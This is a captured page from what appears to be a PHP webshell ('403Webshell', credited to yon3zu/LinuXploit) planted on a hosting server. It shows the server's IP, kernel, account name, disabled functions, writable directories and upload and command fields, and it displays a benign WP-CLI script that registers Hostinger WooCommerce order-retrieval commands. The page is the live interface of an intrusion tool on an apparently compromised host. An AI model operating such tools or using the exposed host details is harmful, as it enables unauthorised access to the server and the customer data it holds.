403Webshell
Server IP : 46.17.175.229  /  Your IP : 216.73.216.44
Web Server : LiteSpeed
System : Linux lt-bnk-web1163.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u528038015 ( 528038015)
PHP Version : 8.2.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/cache/hostinger-wp-cli-packages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/cache/hostinger-wp-cli-packages/hostinger-command.php
<?php

use Hostinger\WPCLI\Woocommerce\GetOrdersCommand;
use Hostinger\WPCLI\Woocommerce\GetWooOrdersCommand;
use Hostinger\WPCLI\Woocommerce\GetOrdersUpdatedCommand;

if ( ! class_exists( 'WP_CLI' ) ) {
    return;
}

$wpcli_hostinger_autoloader = __DIR__ . '/vendor/autoload.php';

if ( file_exists( $wpcli_hostinger_autoloader ) ) {
    require_once $wpcli_hostinger_autoloader;
}


if ( class_exists( GetOrdersCommand::class ) ) {
    WP_CLI::add_command( 'hostinger woocommerce get-orders', GetOrdersCommand::class, [
        'shortdesc' => 'Retrieve WooCommerce orders based on date range.',
        'longdesc'  => "Fetch all WooCommerce orders either from a specific date or for a set number of days.\n\n"
                       . "## EXAMPLES\n\n"
                       . "  wp hostinger woocommerce get-orders --days=7\n"
                       . "  Retrieves orders from the past 7 days.\n\n"
                       . "  wp hostinger woocommerce get-orders --from-date=2025-01-01\n"
                       . "  Retrieves orders from 2025-01-01 until yesterday.\n\n"
                       . "  wp hostinger woocommerce get-orders --from-date=2025-01-01 --to-date=2025-01-31\n"
                       . "  Retrieves orders for the exact date range.",
        'when'      => 'after_wp_load',
    ] );
}

if ( class_exists( GetWooOrdersCommand::class ) ) {
    WP_CLI::add_command( 'hostinger woocommerce get-woo-orders', GetWooOrdersCommand::class, [
        'shortdesc' => 'Retrieve WooCommerce orders based on date range.',
        'longdesc'  => "Fetch all WooCommerce orders either from a specific date or for a set number of days.\n\n"
                       . "## EXAMPLES\n\n"
                       . "  wp hostinger woocommerce get-woo-orders --days=7\n"
                       . "  Retrieves orders from the past 7 days.\n\n"
                       . "  wp hostinger woocommerce get-woo-orders --from-date=2025-01-01\n"
                       . "  Retrieves orders from 2025-01-01 until yesterday.\n\n"
                       . "  wp hostinger woocommerce get-woo-orders --from-date=2025-01-01 --to-date=2025-01-31\n"
                       . "  Retrieves orders for the exact date range.",
        'when'      => 'after_wp_load',
    ] );
}

if ( class_exists( GetOrdersUpdatedCommand::class ) ) {
    WP_CLI::add_command( 'hostinger woocommerce get-woo-orders-latest', GetOrdersUpdatedCommand::class, [
        'shortdesc' => 'Retrieve WooCommerce orders based on date range.',
        'longdesc'  => "Fetch all WooCommerce orders either from a specific date or for a set number of days.\n\n"
                       . "## EXAMPLES\n\n"
                       . "  wp hostinger woocommerce get-woo-orders-latest --from-date=2025-01-01\n"
                       . "  Retrieves all orders from 2025-01-01 until now.\n\n"
                       . "  wp hostinger woocommerce get-woo-orders-latest --days=7\n"
                       . "  Retrieves all orders from the past 7 days.",
        'when'      => 'after_wp_load',
    ] );
}

Youez - 2016 - github.com/yon3zu
LinuXploit